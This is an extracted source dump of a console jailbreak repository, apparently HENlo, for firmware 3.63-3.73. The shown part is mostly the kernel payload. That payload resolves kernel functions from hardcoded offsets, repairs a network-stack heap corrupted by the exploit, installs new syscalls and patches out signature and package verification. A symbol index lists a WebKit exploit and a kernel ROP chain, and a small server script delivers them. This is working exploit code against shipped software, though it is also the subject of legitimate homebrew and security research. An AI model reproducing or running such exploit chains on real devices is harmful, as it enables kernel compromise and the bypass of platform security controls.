ksceKernelSetSyscall(syscall_id + 0, load_taihen);
ksceKernelSetSyscall(syscall_id + 1, remove_pkgpatches);
ksceKernelSetSyscall(syscall_id + 2, remove_sigpatches);
ksceKernelSetSyscall(syscall_id + 3, cleanup_memory);
return 0;
}
void resolve_imports(unsigned sysmem_base) {
module_info_t *sysmem_info = find_modinfo(sysmem_base, "SceSysmem");
u32_t modulemgr_base;
// BEGIN 3.63-3.73 specific offsets here, used to find Modulemgr from just sysmem base
LOG("sysmem base: 0x%08x", sysmem_base);
void *sysmem_data = (void*)(*(u32_t*)((u32_t)(sysmem_base) + 0x26a28) - 0xA0);
LOG("sysmem data base: 0x%08x", sysmem_data);
modulemgr_base = (*(u32_t*)((u32_t)(sysmem_data) + 0x438c) - 0x40);
LOG("modulemgr base: 0x%08x", modulemgr_base);
// END 3.63-3.73 specific offsets
DACR_OFF(modulemgr_info = find_modinfo((u32_t)modulemgr_base, "SceKernelModulemgr"));
LOG("modulemgr modinfo: 0x%08x", modulemgr_info);
DACR_OFF(
ksceKernelGetModuleList = find_export(modulemgr_info, 0xB72C75A4);
ksceKernelGetModuleInfo = find_export(modulemgr_info, 0xDAA90093);
);
LOG("ksceKernelGetModuleList: %08x", ksceKernelGetModuleList);
LOG("ksceKernelGetModuleInfo: %08x", ksceKernelGetModuleInfo);
int *modlist[MOD_LIST_SIZE];
int modlist_records;
SceModInfo info;
int ret;
modlist_records = MOD_LIST_SIZE;
ret = ksceKernelGetModuleList(0x10005, 0x7FFFFFFF, 1, modlist, &modlist_records);
LOG("sceKernelGetModuleList() returned 0x%x", ret);
LOG("modlist_records: %d", modlist_records);
module_info_t *threadmgr_info = 0, *sblauthmgr_info = 0, *processmgr_info = 0, *display_info = 0, *iofilemgr_info = 0;
u32_t modulemgr_data = 0;
for (int i = 0; i < modlist_records; ++i) {
info.size = sizeof(info);
ret = ksceKernelGetModuleInfo(0x10005, modlist[i], &info);
if (strcmp(info.name, "SceKernelThreadMgr") == 0) {
threadmgr_info = find_modinfo((u32_t)info.segments[0].vaddr, "SceKernelThreadMgr");
}
if (strcmp(info.name, "SceSblAuthMgr") == 0) {
sblauthmgr_info = find_modinfo((u32_t)info.segments[0].vaddr, "SceSblAuthMgr");
}
if (strcmp(info.name, "SceNpDrm") == 0) {
DACR_OFF(scenpdrm_info = find_modinfo((u32_t)info.segments[0].vaddr, "SceNpDrm"));
}
if (strcmp(info.name, "SceNetPs") == 0) {
DACR_OFF(scenet_code = (u32_t)info.segments[0].vaddr);
DACR_OFF(scenet_data = (u32_t)info.segments[1].vaddr);
}
if (strcmp(info.name, "SceKernelModulemgr") == 0) {
modulemgr_data = (u32_t)info.segments[1].vaddr;
}
if (strcmp(info.name, "SceAppMgr") == 0) {
DACR_OFF(appmgr_info = find_modinfo((u32_t)info.segments[0].vaddr, "SceAppMgr"));
DACR_OFF(appmgr_code = (u32_t)info.segments[0].vaddr);
DACR_OFF(appmgr_size = (u32_t)info.segments[0].memsz);
}
if (strcmp(info.name, "SceIofilemgr") == 0) {
iofilemgr_info = find_modinfo((u32_t)info.segments[0].vaddr, "SceIofilemgr");
}
if (strcmp(info.name, "SceProcessmgr") == 0) {
processmgr_info = find_modinfo((u32_t)info.segments[0].vaddr, "SceProcessmgr");
}
}
LOG("threadmgr_info: 0x%08x | sblauthmgr_info: 0x%08x | scenet_code: 0x%08x | scenet_data: 0x%08x | scenpdrm_info: 0x%08x", threadmgr_info, sblauthmgr_info, scenet_code, scenet_data, scenpdrm_info);
DACR_OFF(
hook_resume_sbl_F3411881 = find_export(sblauthmgr_info, 0xF3411881);
hook_resume_sbl_89CCDA2C = find_export(sblauthmgr_info, 0x89CCDA2C);
hook_resume_sbl_BC422443 = find_export(sblauthmgr_info, 0xBC422443);
ksceKernelCpuIcacheAndL2WritebackInvalidateRange = find_export(sysmem_info, 0x73E895EA);
ksceKernelCpuDcacheWritebackRange = find_export(sysmem_info, 0x9CB9F0CE);
ksceIoOpen = find_export(iofilemgr_info, 0x75192972);
ksceIoClose = find_export(iofilemgr_info, 0xf99dd8a3);
ksceIoWrite = find_export(iofilemgr_info, 0x21ee91f0);
ksceAppMgrLaunchAppByPath = find_export(appmgr_info, 0xB0A37065);
ksceKernelLoadModule = find_export(modulemgr_info, 0x86D8D634);
ksceKernelStartModule = find_export(modulemgr_info, 0x0675B682);
ksceKernelSetSyscall = find_export(modulemgr_info, 0x2E4A10A0);
ksceKernelFreeMemBlock = find_export(sysmem_info, 0x9e1c61);
ksceKernelFindMemBlockByAddr = find_export(sysmem_info, 0x8a1742f6);
ksceKernelCreateThread = find_export(threadmgr_info, 0xC6674E7D);
ksceKernelStartThread = find_export(threadmgr_info, 0x21F5419B);
ksceKernelExitDeleteThread = find_export(threadmgr_info, 0x1D17DECF);
ksceKernelGetMemBlockBase = find_export(sysmem_info, 0xA841EDDA);
ksceKernelGetProcessInfo = find_export(processmgr_info, 0x0AFF3EAE);
);
// BEGIN 3.63-3.73
int *syscall_lo = (int *)(modulemgr_data + 0x2038c);
DACR_OFF(
syscall_table = (void **) (*((u32_t*)(modulemgr_data + 0x20388)));
syscall_id = (*syscall_lo & 0xFFF) | 1; // id must not be x00
syscall_stub = (void *)(modulemgr_base + 0x9fc5);
);
*syscall_lo = syscall_id + 5;
// END 3.63-3.73
}
#define MAGIC_BUSY 0x42755379
#define MAGIC_FREE 0x46724565
#define MAGIC_MAAK 0x4d61416b
typedef struct chunk_header {
uint32_t magic;
uint32_t free_lr;
uint32_t malloc_lr;
uint32_t footer;
struct chunk_header *next;
struct chunk_header *prev;
uint32_t size;
uint32_t pad;
} chunk_header_t;
typedef struct chunk_footer {
uint32_t magic;
uint32_t pad;
} chunk_footer_t;
void fix_netps_heap(uint32_t iflist_addr) {
// BEGIN 3.65-3.70
int (*getiflist)() = (void*)(scenet_code + 0x2fc1);
int (*free)() = (void*)(scenet_code + 0x5b09);
int (*control)() = (void*)(scenet_code + 0x89bd);
int (*ifunit)() = (void*)(scenet_code + 0xf835);
int (*if_clone_destroy)() = (void*)(scenet_code + 0xf905);
int (*in_control)() = (void*)(scenet_code + 0x1ac15);
int (*sce_psnet_bnet_mutex_unlock)() = (void*)(scenet_code + 0x2a3ed);
int (*sce_psnet_bnet_mutex_lock)() = (void*)(scenet_code + 0x2a355);
void *global_mutex = (void*)((u32_t)scenet_data + 0x850);
void *heap_mutex = (void*)((u32_t)scenet_data + 0x88c);
// END 3.65-3.70
/*
// BEGIN 3.71-3.73
int (*free)() = (void*)(scenet_code + 0x5b05);
int (*control)() = (void*)(scenet_code + 0x89ed);
int (*if_clone_destroy)() = (void*)(scenet_code + 0xf935);
int (*sce_psnet_bnet_mutex_unlock)() = (void*)(scenet_code + 0x2a41d);
int (*sce_psnet_bnet_mutex_lock)() = (void*)(scenet_code + 0x2a385);
void *global_mutex = (void*)((u32_t)scenet_data + 0x850);
void *heap_mutex = (void*)((u32_t)scenet_data + 0x88c);
// END 3.71-3.73
*/
sce_psnet_bnet_mutex_lock(heap_mutex, 0);
chunk_header_t *iflist_header = (chunk_header_t *)(iflist_addr - 0x20);
chunk_header_t *split_header = (chunk_header_t *)(iflist_addr + 0x88);
chunk_header_t *softc_header = (chunk_header_t *)(iflist_addr + 0x150);
chunk_header_t *plant_header = (chunk_header_t *)(iflist_addr + 0x6c8);
// Restore chunk headers and footers
*(uint32_t *)((char *)iflist_header + sizeof(chunk_header_t) + iflist_header->footer) = MAGIC_MAAK;
split_header->magic = MAGIC_BUSY;
split_header->free_lr = 0;
split_header->malloc_lr = 0;
split_header->footer = 0xa0;
split_header->next = softc_header;
split_header->prev = iflist_header;
split_header->size = split_header->footer + sizeof(chunk_footer_t);
split_header->pad = 0;
*(uint32_t *)((char *)split_header + sizeof(chunk_header_t) + split_header->footer) = MAGIC_MAAK;
softc_header->magic = MAGIC_BUSY;
softc_header->free_lr = 0;
softc_header->malloc_lr = 0;
softc_header->footer = 0x550;
softc_header->next = plant_header;
softc_header->prev = split_header;
softc_header->size = softc_header->footer + sizeof(chunk_footer_t);
softc_header->pad = 0;
*(uint32_t *)((char *)softc_header + sizeof(chunk_header_t) + softc_header->footer) = MAGIC_MAAK;
plant_header->magic = MAGIC_BUSY;
plant_header->free_lr = 0;
plant_header->malloc_lr = 0;
plant_header->footer = 0x4000;
plant_header->next = NULL;
plant_header->prev = softc_header;
plant_header->size = plant_header->footer + sizeof(chunk_footer_t);
plant_header->pad = 0;
// Find next busy chunk
chunk_header_t *curr = plant_header;
do {
curr = (chunk_header_t *)((char *)curr + sizeof(chunk_header_t) + curr->size);
} while (curr->magic != MAGIC_BUSY);
plant_header->next = curr;
// Restore pppoe softc from leak
char *softc = (char *)softc_header + sizeof(chunk_header_t);
memcpy(softc, (void *)(iflist_addr + 0x6e8 + 0x2000), 0x550);
*(uint32_t *)(softc + 0x00) = (uint32_t)softc;
*(uint32_t *)(softc + 0x0c) = 0;
*(uint32_t *)(softc + 0x10) = 0;
*(uint32_t *)(softc + 0xb0) = 0;
*(uint32_t *)(softc + 0xb4) = 0;
*(uint32_t *)(softc + 0x118) = 0;
sce_psnet_bnet_mutex_unlock(heap_mutex);
// Free iflist
free(iflist_addr);
// Free allocations
uint32_t args[2];
args[0] = 0;
control(NULL, 0x20000009, args, sizeof(args));
args[0] = 2;
control(NULL, 0x20000009, args, sizeof(args));
args[0] = 3;
control(NULL, 0x20000009, args, sizeof(args));
// Destroy clone interface
if_clone_destroy("pppoe1337");
// Delete custom address
char iflist[0x140 * 2];
getiflist(iflist, 2);
char ifr[0x20];
memcpy(ifr, iflist + 0x140, 0x10);
*(uint8_t *)(ifr + 0x10) = 0x10;
*(uint8_t *)(ifr + 0x11) = 0x02;
*(uint32_t *)(ifr + 0x14) = 0x13371337;
void *ifp = (void *)ifunit(iflist + 0x140);
in_control(NULL, 0x80206919, ifr, ifp, 0xDEADBEEF);
// Unlock global mutex
sce_psnet_bnet_mutex_unlock(global_mutex);
}
void start() __attribute__ ((weak, alias ("payload")));
void _start() __attribute__ ((weak, alias ("payload")));
void __attribute__ ((section (".text.start"))) payload(void *rx_block, uint32_t sysmem_addr, uint32_t iflist_addr) {
// find sysmem base, etc
uint32_t sysmem_base = sysmem_addr;
int ret;
// BEGIN 3.63-3.73
void (*debug_print_local)(char *s, ...) = (void*)(sysmem_base + 0x1A155);
// END 3.63-3.73
DACR_OFF(
debug_print = debug_print_local;
);
LOG("+++ Entered kernel payload +++");
LOG("payload=0x%x, size=0x%x, sp=0x%x", payload, rx_size, &ret);
LOG("resolving imports");
resolve_imports(sysmem_base);
LOG("fixing netps heap");
fix_netps_heap(iflist_addr);
LOG("set up syscalls starting at id: %x", syscall_id);
add_syscalls();
LOG("getting shell pid");
DACR_OFF(shell_pid = get_shell_pid());
LOG("adding temporary patches");
find_ux0_data_path_addr();
temp_pkgpatches();
temp_sigpatches();
LOG("find rx block");
DACR_OFF(
g_rx_block = ksceKernelFindMemBlockByAddr(rx_block, 0);
);
LOG("flush changes");
void *base;
ret = ksceKernelGetMemBlockBase(g_rx_block, &base);
LOG("ksceKernelGetMemBlockBase: %x, %x", ret, base);
ksceKernelCpuDcacheWritebackRange((uint32_t)base, 0x2000);
int tid;
LOG("starting kernel thread");
tid = ksceKernelCreateThread("stage2", thread_main, 64, 0x1000, 0, 0, 0);
LOG("create tid: %x", tid);
ret = ksceKernelStartThread(tid, 0, NULL);
LOG("start thread: %x", ret);
LOG("killing self");
ksceKernelExitDeleteThread(0);
LOG("should not be here!");
while(1) {}
}
================================================
FILE: server.py
================================================
#!/usr/bin/env python2
import socket
import SocketServer, SimpleHTTPServer
PORT = 8888
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect(("gmail.com", 80))
localIP = s.getsockname()[0]
s.close()
print "Starting server on " + localIP + ":" + str(PORT)
Handler = SimpleHTTPServer.SimpleHTTPRequestHandler
server = SocketServer.TCPServer(('', PORT), Handler)
server.serve_forever()
gitextract_eqjdimzx/ ├── LICENSE ├── exploit.js ├── index.html ├── jsos.js ├── kernel.js ├── offsets.js ├── payload/ │ ├── LICENSE │ ├── Makefile │ ├── linker.x │ └── payload.c └── server.py
SYMBOL INDEX (63 symbols across 4 files)
FILE: exploit.js
function u2d (line 11) | function u2d(low, hi) {
function d2u (line 18) | function d2u(d) {
function init_memory (line 25) | function init_memory(start_addr) {
function mymemset (line 33) | function mymemset(addr, b, len) {
function mymemcpy (line 39) | function mymemcpy(addr, data, len) {
function read_string (line 45) | function read_string(addr) {
function decode_mov (line 56) | function decode_mov(addr) {
function decode_stub (line 61) | function decode_stub(addr) {
function gc (line 65) | function gc() {
function peek_stack (line 75) | function peek_stack() {
function poke_stack (line 98) | function poke_stack(val) {
function exploit (line 109) | function exploit() {
function go (line 300) | function go() {
FILE: jsos.js
function init_offsets (line 9) | function init_offsets(ver) {
function init_ggts (line 21) | function init_ggts(bases, caller, ver) {
function get_caller (line 42) | function get_caller(tmpmem, element, vtidx, fkvtable) {
FILE: kernel.js
function load_binary_resource (line 34) | function load_binary_resource(url) {
function inet_addr (line 43) | function inet_addr(str) {
function if_add_addr (line 54) | function if_add_addr(sock, name, addr, dstaddr, mask) {
function if_del_addr (line 75) | function if_del_addr(sock, name, addr) {
function if_clone_create (line 88) | function if_clone_create(sock, name) {
function if_clone_destroy (line 95) | function if_clone_destroy(sock, name) {
function net_malloc (line 102) | function net_malloc(slot, size) {
function net_free (line 109) | function net_free(slot) {
function RopChain (line 116) | function RopChain(buf, buf_addr) {
function build_krop (line 166) | function build_krop(buf, buf_addr, payload, payload_size) {
function kxploit (line 259) | function kxploit(caller, ver) {
FILE: payload/payload.c
type u64_t (line 75) | typedef uint64_t u64_t;
type u32_t (line 76) | typedef uint32_t u32_t;
type u16_t (line 77) | typedef uint16_t u16_t;
type u8_t (line 78) | typedef uint8_t u8_t;
type segment_info_t (line 80) | typedef struct segment_info
type SceModInfo (line 90) | typedef struct SceModInfo {
type module_imports_2_t (line 113) | typedef struct module_imports_2
type module_exports_t (line 128) | typedef struct module_exports // thanks roxfan
type module_info_t (line 142) | typedef struct module_info // thanks roxfan
function strcmp (line 165) | int strcmp(const char *s1, const char *s2) {
function memcpy (line 172) | static inline int memcpy(void *dst, const void *src, int len) {
function module_info_t (line 182) | module_info_t * find_modinfo(uint32_t start_addr, const char *needle) {
function hook_SceSblAIMgrForDriver_D78B04A2 (line 277) | int hook_SceSblAIMgrForDriver_D78B04A2(void)
function hook_SceSblAIMgrForDriver_F4B98F66 (line 282) | int hook_SceSblAIMgrForDriver_F4B98F66(void)
function hook_sysroot_421EFC96 (line 287) | int hook_sysroot_421EFC96(void)
function hook_ksceSblAimgrIsCEX (line 292) | int hook_ksceSblAimgrIsCEX(void)
function hook_ksceSblACMgrIsDevelopmentMode (line 297) | int hook_ksceSblACMgrIsDevelopmentMode(void)
function hook_sbl_F3411881 (line 303) | unsigned hook_sbl_F3411881(unsigned a1, unsigned a2, unsigned a3, unsign...
function hook_sbl_89CCDA2C (line 329) | unsigned hook_sbl_89CCDA2C(unsigned a1, unsigned a2) {
function hook_sbl_BC422443 (line 337) | unsigned hook_sbl_BC422443(unsigned a1, unsigned a2, unsigned a3) {
function temp_pkgpatches (line 358) | void temp_pkgpatches(void) {
function remove_pkgpatches (line 383) | void remove_pkgpatches(void) {
function temp_sigpatches (line 406) | void temp_sigpatches(void) {
function remove_sigpatches (line 484) | void remove_sigpatches(void) {
function find_ux0_data_path_addr (line 549) | static void find_ux0_data_path_addr() {
function get_shell_pid (line 557) | static int get_shell_pid(void) {
function load_taihen (line 571) | int load_taihen(void) {
function free_and_exit (line 611) | static void __attribute__((noinline, naked)) free_and_exit(int blk, void...
function cleanup_memory (line 618) | void cleanup_memory(void) {
function thread_main (line 638) | int thread_main(int args, void *argp) {
function add_syscalls (line 691) | int add_syscalls(void) {
function resolve_imports (line 699) | void resolve_imports(unsigned sysmem_base) {
type chunk_header_t (line 805) | typedef struct chunk_header {
type chunk_footer_t (line 816) | typedef struct chunk_footer {
function fix_netps_heap (line 821) | void fix_netps_heap(uint32_t iflist_addr) {
function payload (line 942) | void __attribute__ ((section (".text.start"))) payload(void *rx_block, u...
Condensed preview — 11 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (75K chars).
[
{
"path": "LICENSE",
"chars": 1074,
"preview": "The MIT License (MIT)\n\nCopyright (C) 2020 TheFloW\n\nPermission is hereby granted, free of charge, to any person obtaining"
},
{
"path": "exploit.js",
"chars": 7102,
"preview": "/* exploit.js -- implementation of the WebKit exploit\n *\n * Copyright (C) 2020 TheFloW\n *\n * This software may be modifi"
},
{
"path": "index.html",
"chars": 264,
"preview": "<html>\r\n<body>\r\n<script src=\"exploit.js\"></script>\r\n<script src=\"kernel.js\"></script>\r\n<script src=\"jsos.js\"></script>\r\n"
},
{
"path": "jsos.js",
"chars": 4827,
"preview": "/* jsos.js -- JavaScript on Steroids\n *\n * Copyright (C) 2020 TheFloW\n *\n * This software may be modified and distribute"
},
{
"path": "kernel.js",
"chars": 14444,
"preview": "/* exploit.js -- implementation of the kernel exploit\n *\n * Copyright (C) 2020 TheFloW\n *\n * This software may be modifi"
},
{
"path": "offsets.js",
"chars": 7822,
"preview": "/* offsets.js -- offsets for exploitation\n *\n * Copyright (C) 2020 TheFloW\n *\n * This software may be modified and distr"
},
{
"path": "payload/LICENSE",
"chars": 1075,
"preview": "The MIT License (MIT)\n\nCopyright (c) 2016 molecule\n\nPermission is hereby granted, free of charge, to any person obtainin"
},
{
"path": "payload/Makefile",
"chars": 449,
"preview": "TARGET = payload\nOBJS = payload.o\n\nPREFIX = arm-vita-eabi\nCC = $(PREFIX)-gcc\nAS = $(PREFIX)-as\nOBJCOPY = "
},
{
"path": "payload/linker.x",
"chars": 470,
"preview": "OUTPUT_FORMAT(\"elf32-littlearm\", \"elf32-bigarm\", \"elf32-littlearm\")\nOUTPUT_ARCH(arm)\n\nENTRY(_start)\n\nSECTIONS\n{\n .text "
},
{
"path": "payload/payload.c",
"chars": 32618,
"preview": "#include <inttypes.h>\n\n// #include \"bootstrap.h\"\n\n// ALL 3.63-3.73 SPECIFIC SECTIONS ARE MARKED WITH \"// BEGIN 3.63-3.73"
},
{
"path": "server.py",
"chars": 397,
"preview": "#!/usr/bin/env python2\n\nimport socket\nimport SocketServer, SimpleHTTPServer\n\nPORT = 8888\n\ns = socket.socket(socket.AF_IN"
}
]
About this extraction
This page contains the full source code of the TheOfficialFloW/HENlo GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 11 files (68.9 KB), approximately 24.7k tokens, and a symbol index with 63 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.
Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.